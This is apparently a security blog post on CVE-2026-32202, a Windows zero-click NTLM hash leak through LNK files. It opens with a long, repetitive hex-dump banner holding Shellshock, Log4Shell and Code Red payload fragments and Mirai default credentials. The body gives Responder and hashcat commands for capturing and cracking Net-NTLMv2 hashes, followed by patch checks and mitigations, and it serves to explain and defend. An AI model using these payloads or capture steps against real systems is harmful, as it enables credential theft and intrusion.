Zero-Click NTLM Hash Leak in Windows Shell (CVE-2026-32202)

00000000 31 39 38 38 20 4d 6f 72 72 69 73 20 57 6f 72 6d |1988 Morris Worm| 00000080 30 39 30 25 75 36 38 35 38 00 00 00 00 00 00 00 |090%u6858.......| 00000100 32 30 31 34 20 48 65 61 72 74 62 6c 65 65 64 00 |2014 Heartbleed.| 00000180 32 30 31 37 20 45 74 65 72 6e 61 6c 42 6c 75 65 |2017 EternalBlue| 00000200 61 7d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |a}..............| 00000010 44 45 42 55 47 0d 0a 2f 62 69 6e 2f 73 68 00 00 |DEBUG../bin/sh..| 00000090 32 30 30 33 20 53 51 4c 20 53 6c 61 6d 6d 65 72 |2003 SQL Slammer| 00000110 18 03 02 00 03 01 40 00 00 00 00 00 00 00 00 00 |......@.........| 00000190 ff 53 4d 42 72 20 4d 53 31 37 2d 30 31 30 00 00 |.SMBr MS17-010..| 00000210 32 30 32 34 20 78 7a 20 62 61 63 6b 64 6f 6f 72 |2024 xz backdoor| 00000020 32 30 30 30 20 49 4c 4f 56 45 59 4f 55 00 00 00 |2000 ILOVEYOU...| 000000a0 04 01 01 01 01 01 01 01 20 75 64 70 2f 31 34 33 |........ udp/143| 00000120 32 30 31 34 20 53 68 65 6c 6c 73 68 6f 63 6b 00 |2014 Shellshock.| 000001a0 32 30 31 37 20 57 61 6e 6e 61 43 72 79 00 00 00 |2017 WannaCry...| 00000220 43 56 45 2d 32 30 32 34 2d 33 30 39 34 20 6c 69 |CVE-2024-3094 li| 00000030 4c 4f 56 45 2d 4c 45 54 54 45 52 2d 46 4f 52 2d |LOVE-LETTER-FOR-| 000000b0 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |4...............| 00000130 28 29 20 7b 20 3a 3b 20 7d 3b 20 2f 62 69 6e 2f |() { :; }; /bin/| 000001b0 69 75 71 65 72 66 73 6f 64 70 39 69 66 6a 61 70 |iuqerfsodp9ifjap| 00000230 62 6c 7a 6d 61 00 00 00 00 00 00 00 00 00 00 00 |blzma...........| 00000040 59 4f 55 2e 54 58 54 2e 76 62 73 00 00 00 00 00 |YOU.TXT.vbs.....| 000000c0 32 30 31 30 20 53 74 75 78 6e 65 74 00 00 00 00 |2010 Stuxnet....| 00000140 62 61 73 68 20 2d 63 00 00 00 00 00 00 00 00 00 |bash -c.........| 000001c0 6f 73 64 66 6a 68 67 6f 73 75 72 69 6a 66 61 65 |osdfjhgosurijfae| 00000000 31 39 38 38 20 4d 6f 72 72 69 73 20 57 6f 72 6d |1988 Morris Worm| 00000050 32 30 30 31 20 43 6f 64 65 20 52 65 64 00 00 00 |2001 Code Red...| 000000d0 62 3a 5c 6d 79 72 74 75 73 5c 73 72 63 5c 6f 62 |b:\myrtus\src\ob| 00000150 32 30 31 36 20 4d 69 72 61 69 00 00 00 00 00 00 |2016 Mirai......| 000001d0 77 72 77 65 72 67 77 65 61 2e 63 6f 6d 00 00 00 |wrwergwea.com...| 00000010 44 45 42 55 47 0d 0a 2f 62 69 6e 2f 73 68 00 00 |DEBUG../bin/sh..| 00000060 47 45 54 20 2f 64 65 66 61 75 6c 74 2e 69 64 61 |GET /default.ida| 000000e0 6a 66 72 65 5f 77 32 6b 5f 78 38 36 5c 69 33 38 |jfre_w2k_x86\i38| 00000160 72 6f 6f 74 3a 78 63 33 35 31 31 20 61 64 6d 69 |root:xc3511 admi| 000001e0 32 30 32 31 20 4c 6f 67 34 53 68 65 6c 6c 00 00 |2021 Log4Shell..| 00000020 32 30 30 30 20 49 4c 4f 56 45 59 4f 55 00 00 00 |2000 ILOVEYOU...| 00000070 3f 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 25 75 39 |?NNNNNNNNNNNN%u9| 000000f0 36 5c 67 75 61 76 61 2e 70 64 62 00 00 00 00 00 |6\guava.pdb.....| 00000170 6e 3a 61 64 6d 69 6e 00 00 00 00 00 00 00 00 00 |n:admin.........| 000001f0 24 7b 6a 6e 64 69 3a 6c 64 61 70 3a 2f 2f 78 2f |${jndi:ldap://x/| 00000030 4c 4f 56 45 2d 4c 45 54 54 45 52 2d 46 4f 52 2d |LOVE-LETTER-FOR-| 00000080 30 39 30 25 75 36 38 35 38 00 00 00 00 00 00 00 |090%u6858.......| 00000100 32 30 31 34 20 48 65 61 72 74 62 6c 65 65 64 00 |2014 Heartbleed.| 00000180 32 30 31 37 20 45 74 65 72 6e 61 6c 42 6c 75 65 |2017 EternalBlue| 00000200 61 7d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |a}..............| 00000040 59 4f 55 2e 54 58 54 2e 76 62 73 00 00 00 00 00 |YOU.TXT.vbs.....| 00000090 32 30 30 33 20 53 51 4c 20 53 6c 61 6d 6d 65 72 |2003 SQL Slammer| 00000110 18 03 02 00 03 01 40 00 00 00 00 00 00 00 00 00 |......@.........| 00000190 ff 53 4d 42 72 20 4d 53 31 37 2d 30 31 30 00 00 |.SMBr MS17-010..| 00000210 32 30 32 34 20 78 7a 20 62 61 63 6b 64 6f 6f 72 |2024 xz backdoor| 00000050 32 30 30 31 20 43 6f 64 65 20 52 65 64 00 00 00 |2001 Code Red...| 000000a0 04 01 01 01 01 01 01 01 20 75 64 70 2f 31 34 33 |........ udp/143| 00000120 32 30 31 34 20 53 68 65 6c 6c 73 68 6f 63 6b 00 |2014 Shellshock.| 000001a0 32 30 31 37 20 57 61 6e 6e 61 43 72 79 00 00 00 |2017 WannaCry...| 00000220 43 56 45 2d 32 30 32 34 2d 33 30 39 34 20 6c 69 |CVE-2024-3094 li| 00000060 47 45 54 20 2f 64 65 66 61 75 6c 74 2e 69 64 61 |GET /default.ida| 000000b0 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |4...............| 00000130 28 29 20 7b 20 3a 3b 20 7d 3b 20 2f 62 69 6e 2f |() { :; }; /bin/| 000001b0 69 75 71 65 72 66 73 6f 64 70 39 69 66 6a 61 70 |iuqerfsodp9ifjap| 00000230 62 6c 7a 6d 61 00 00 00 00 00 00 00 00 00 00 00 |blzma...........| 00000070 3f 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 25 75 39 |?NNNNNNNNNNNN%u9| 000000c0 32 30 31 30 20 53 74 75 78 6e 65 74 00 00 00 00 |2010 Stuxnet....| 00000140 62 61 73 68 20 2d 63 00 00 00 00 00 00 00 00 00 |bash -c.........| 000001c0 6f 73 64 66 6a 68 67 6f 73 75 72 69 6a 66 61 65 |osdfjhgosurijfae| 00000000 31 39 38 38 20 4d 6f 72 72 69 73 20 57 6f 72 6d |1988 Morris Worm| 00000080 30 39 30 25 75 36 38 35 38 00 00 00 00 00 00 00 |090%u6858.......| 000000d0 62 3a 5c 6d 79 72 74 75 73 5c 73 72 63 5c 6f 62 |b:\myrtus\src\ob| 00000150 32 30 31 36 20 4d 69 72 61 69 00 00 00 00 00 00 |2016 Mirai......| 000001d0 77 72 77 65 72 67 77 65 61 2e 63 6f 6d 00 00 00 |wrwergwea.com...| 00000010 44 45 42 55 47 0d 0a 2f 62 69 6e 2f 73 68 00 00 |DEBUG../bin/sh..| 00000090 32 30 30 33 20 53 51 4c 20 53 6c 61 6d 6d 65 72 |2003 SQL Slammer| 000000e0 6a 66 72 65 5f 77 32 6b 5f 78 38 36 5c 69 33 38 |jfre_w2k_x86\i38| 00000160 72 6f 6f 74 3a 78 63 33 35 31 31 20 61 64 6d 69 |root:xc3511 admi| 000001e0 32 30 32 31 20 4c 6f 67 34 53 68 65 6c 6c 00 00 |2021 Log4Shell..| 00000020 32 30 30 30 20 49 4c 4f 56 45 59 4f 55 00 00 00 |2000 ILOVEYOU...| 000000a0 04 01 01 01 01 01 01 01 20 75 64 70 2f 31 34 33 |........ udp/143| 000000f0 36 5c 67 75 61 76 61 2e 70 64 62 00 00 00 00 00 |6\guava.pdb.....| 00000170 6e 3a 61 64 6d 69 6e 00 00 00 00 00 00 00 00 00 |n:admin.........| 000001f0 24 7b 6a 6e 64 69 3a 6c 64 61 70 3a 2f 2f 78 2f |${jndi:ldap://x/| 00000030 4c 4f 56 45 2d 4c 45 54 54 45 52 2d 46 4f 52 2d |LOVE-LETTER-FOR-| 000000b0 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |4...............| 00000100 32 30 31 34 20 48 65 61 72 74 62 6c 65 65 64 00 |2014 Heartbleed.| 00000180 32 30 31 37 20 45 74 65 72 6e 61 6c 42 6c 75 65 |2017 EternalBlue| 00000200 61 7d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |a}..............| 00000040 59 4f 55 2e 54 58 54 2e 76 62 73 00 00 00 00 00 |YOU.TXT.vbs.....| 000000c0 32 30 31 30 20 53 74 75 78 6e 65 74 00 00 00 00 |2010 Stuxnet....| 00000110 18 03 02 00 03 01 40 00 00 00 00 00 00 00 00 00 |......@.........| 00000190 ff 53 4d 42 72 20 4d 53 31 37 2d 30 31 30 00 00 |.SMBr MS17-010..| 00000210 32 30 32 34 20 78 7a 20 62 61 63 6b 64 6f 6f 72 |2024 xz backdoor| 00000050 32 30 30 31 20 43 6f 64 65 20 52 65 64 00 00 00 |2001 Code Red...| 000000d0 62 3a 5c 6d 79 72 74 75 73 5c 73 72 63 5c 6f 62 |b:\myrtus\src\ob| 00000120 32 30 31 34 20 53 68 65 6c 6c 73 68 6f 63 6b 00 |2014 Shellshock.| 000001a0 32 30 31 37 20 57 61 6e 6e 61 43 72 79 00 00 00 |2017 WannaCry...| 00000220 43 56 45 2d 32 30 32 34 2d 33 30 39 34 20 6c 69 |CVE-2024-3094 li| 00000060 47 45 54 20 2f 64 65 66 61 75 6c 74 2e 69 64 61 |GET /default.ida| 000000e0 6a 66 72 65 5f 77 32 6b 5f 78 38 36 5c 69 33 38 |jfre_w2k_x86\i38| 00000130 28 29 20 7b 20 3a 3b 20 7d 3b 20 2f 62 69 6e 2f |() { :; }; /bin/| 000001b0 69 75 71 65 72 66 73 6f 64 70 39 69 66 6a 61 70 |iuqerfsodp9ifjap| 00000230 62 6c 7a 6d 61 00 00 00 00 00 00 00 00 00 00 00 |blzma...........| 00000070 3f 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 25 75 39 |?NNNNNNNNNNNN%u9| 000000f0 36 5c 67 75 61 76 61 2e 70 64 62 00 00 00 00 00 |6\guava.pdb.....| 00000140 62 61 73 68 20 2d 63 00 00 00 00 00 00 00 00 00 |bash -c.........| 000001c0 6f 73 64 66 6a 68 67 6f 73 75 72 69 6a 66 61 65 |osdfjhgosurijfae| 00000000 31 39 38 38 20 4d 6f 72 72 69 73 20 57 6f 72 6d |1988 Morris Worm| 00000080 30 39 30 25 75 36 38 35 38 00 00 00 00 00 00 00 |090%u6858.......| 00000100 32 30 31 34 20 48 65 61 72 74 62 6c 65 65 64 00 |2014 Heartbleed.| 00000150 32 30 31 36 20 4d 69 72 61 69 00 00 00 00 00 00 |2016 Mirai......| 000001d0 77 72 77 65 72 67 77 65 61 2e 63 6f 6d 00 00 00 |wrwergwea.com...| 00000010 44 45 42 55 47 0d 0a 2f 62 69 6e 2f 73 68 00 00 |DEBUG../bin/sh..| 00000090 32 30 30 33 20 53 51 4c 20 53 6c 61 6d 6d 65 72 |2003 SQL Slammer| 00000110 18 03 02 00 03 01 40 00 00 00 00 00 00 00 00 00 |......@.........| 00000160 72 6f 6f 74 3a 78 63 33 35 31 31 20 61 64 6d 69 |root:xc3511 admi| 000001e0 32 30 32 31 20 4c 6f 67 34 53 68 65 6c 6c 00 00 |2021 Log4Shell..| 00000020 32 30 30 30 20 49 4c 4f 56 45 59 4f 55 00 00 00 |2000 ILOVEYOU...| 000000a0 04 01 01 01 01 01 01 01 20 75 64 70 2f 31 34 33 |........ udp/143| 00000120 32 30 31 34 20 53 68 65 6c 6c 73 68 6f 63 6b 00 |2014 Shellshock.| 00000170 6e 3a 61 64 6d 69 6e 00 00 00 00 00 00 00 00 00 |n:admin.........| 000001f0 24 7b 6a 6e 64 69 3a 6c 64 61 70 3a 2f 2f 78 2f |${jndi:ldap://x/| 00000030 4c 4f 56 45 2d 4c 45 54 54 45 52 2d 46 4f 52 2d |LOVE-LETTER-FOR-| 000000b0 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |4...............| 00000130 28 29 20 7b 20 3a 3b 20 7d 3b 20 2f 62 69 6e 2f |() { :; }; /bin/| 00000180 32 30 31 37 20 45 74 65 72 6e 61 6c 42 6c 75 65 |2017 EternalBlue| 00000200 61 7d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |a}..............| 00000040 59 4f 55 2e 54 58 54 2e 76 62 73 00 00 00 00 00 |YOU.TXT.vbs.....| 000000c0 32 30 31 30 20 53 74 75 78 6e 65 74 00 00 00 00 |2010 Stuxnet....| 00000140 62 61 73 68 20 2d 63 00 00 00 00 00 00 00 00 00 |bash -c.........| 00000190 ff 53 4d 42 72 20 4d 53 31 37 2d 30 31 30 00 00 |.SMBr MS17-010..| 00000210 32 30 32 34 20 78 7a 20 62 61 63 6b 64 6f 6f 72 |2024 xz backdoor| 00000050 32 30 30 31 20 43 6f 64 65 20 52 65 64 00 00 00 |2001 Code Red...| 000000d0 62 3a 5c 6d 79 72 74 75 73 5c 73 72 63 5c 6f 62 |b:\myrtus\src\ob| 00000150 32 30 31 36 20 4d 69 72 61 69 00 00 00 00 00 00 |2016 Mirai......| 000001a0 32 30 31 37 20 57 61 6e 6e 61 43 72 79 00 00 00 |2017 WannaCry...| 00000220 43 56 45 2d 32 30 32 34 2d 33 30 39 34 20 6c 69 |CVE-2024-3094 li| 00000060 47 45 54 20 2f 64 65 66 61 75 6c 74 2e 69 64 61 |GET /default.ida| 000000e0 6a 66 72 65 5f 77 32 6b 5f 78 38 36 5c 69 33 38 |jfre_w2k_x86\i38| 00000160 72 6f 6f 74 3a 78 63 33 35 31 31 20 61 64 6d 69 |root:xc3511 admi| 000001b0 69 75 71 65 72 66 73 6f 64 70 39 69 66 6a 61 70 |iuqerfsodp9ifjap| 00000230 62 6c 7a 6d 61 00 00 00 00 00 00 00 00 00 00 00 |blzma...........| 00000070 3f 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 25 75 39 |?NNNNNNNNNNNN%u9| 000000f0 36 5c 67 75 61 76 61 2e 70 64 62 00 00 00 00 00 |6\guava.pdb.....| 00000170 6e 3a 61 64 6d 69 6e 00 00 00 00 00 00 00 00 00 |n:admin.........| 000001c0 6f 73 64 66 6a 68 67 6f 73 75 72 69 6a 66 61 65 |osdfjhgosurijfae| 00000000 31 39 38 38 20 4d 6f 72 72 69 73 20 57 6f 72 6d |1988 Morris Worm| 00000080 30 39 30 25 75 36 38 35 38 00 00 00 00 00 00 00 |090%u6858.......| 00000100 32 30 31 34 20 48 65 61 72 74 62 6c 65 65 64 00 |2014 Heartbleed.| 00000180 32 30 31 37 20 45 74 65 72 6e 61 6c 42 6c 75 65 |2017 EternalBlue| 000001d0 77 72 77 65 72 67 77 65 61 2e 63 6f 6d 00 00 00 |wrwergwea.com...| 00000010 44 45 42 55 47 0d 0a 2f 62 69 6e 2f 73 68 00 00 |DEBUG../bin/sh..| 00000090 32 30 30 33 20 53 51 4c 20 53 6c 61 6d 6d 65 72 |2003 SQL Slammer| 00000110 18 03 02 00 03 01 40 00 00 00 00 00 00 00 00 00 |......@.........| 00000190 ff 53 4d 42 72 20 4d 53 31 37 2d 30 31 30 00 00 |.SMBr MS17-010..| 000001e0 32 30 32 31 20 4c 6f 67 34 53 68 65 6c 6c 00 00 |2021 Log4Shell..| 00000020 32 30 30 30 20 49 4c 4f 56 45 59 4f 55 00 00 00 |2000 ILOVEYOU...| 000000a0 04 01 01 01 01 01 01 01 20 75 64 70 2f 31 34 33 |........ udp/143| 00000120 32 30 31 34 20 53 68 65 6c 6c 73 68 6f 63 6b 00 |2014 Shellshock.| 000001a0 32 30 31 37 20 57 61 6e 6e 61 43 72 79 00 00 00 |2017 WannaCry...| 000001f0 24 7b 6a 6e 64 69 3a 6c 64 61 70 3a 2f 2f 78 2f |${jndi:ldap://x/| 00000030 4c 4f 56 45 2d 4c 45 54 54 45 52 2d 46 4f 52 2d |LOVE-LETTER-FOR-| 000000b0 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |4...............| 00000130 28 29 20 7b 20 3a 3b 20 7d 3b 20 2f 62 69 6e 2f |() { :; }; /bin/| 000001b0 69 75 71 65 72 66 73 6f 64 70 39 69 66 6a 61 70 |iuqerfsodp9ifjap|

The RCE flaw via LNK that APT28 used. Microsoft released its patch, and everyone thought the matter was closed.

When the Akamai team dug a little deeper, they found that half of it was still open despite the patch and reported it as CVE-2026-32202.

CISA added it to the KEV list and gave federal agencies a May 12 deadline.

Here’s the crux of the story: the victim doesn’t even click the LNK file. Doesn’t open it either. They just view the folder containing this LNK in Explorer. That’s it.

The mechanism is actually relatively clean. You can embed a UNC path inside an LNK file, something like “\attacker-server\share”.

When Explorer renders the folder, it automatically resolves this path for the icon, target and metadata.

Right here, Windows opens an SMB connection without doing any trust verification.

And SMB naturally kicks off NTLM authentication.

That’s all it takes for the Net-NTLMv2 hash to reach the attacker.

Someone who gets hold of the hash can do two things. Either they go the offline crack route, hashcat with mode 5600. Or they relay the hash and use it against another target system. The second is more dangerous because it’s not cracking, it’s direct authorization.

To try it in a lab environment, the classic responder setup does the job:

sudo responder -I eth0 -wrf

The moment the target machine on the other side opens the share containing the vulnerable LNK, the Net-NTLMv2 hash lands in your terminal. A crack attempt for the captured hash:

hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt

Of course, the environment has to be authorized. Trying this against a real organization is a whole other matter legally.

For patch status, check the Windows update history and make sure the April 2026 cumulative update is installed.

In PowerShell:

Get-HotFix | Sort-Object -Property InstalledOn -Descending | Select-Object -First 10

On the mitigation side, blocking outbound SMB traffic at the perimeter firewall is the typical recommendation.

For NTLM relay defense, making EPA (Extended Protection for Authentication) and SMB signing mandatory is another layer. But the real fix is the patch itself.

The reason this flaw is talked about so much isn’t technical complexity; it’s that half of something that was “already patched” is still open. Not testing the scope of the patch backfired badly this time.

Animation showing the CVE-2026-32202 attack flow

Sources:

https://www.akamai.com/blog/security-research/incomplete-patch-apt28s-zero-day-cve-2026-32202
https://nvd.nist.gov/vuln/detail/CVE-2026-32202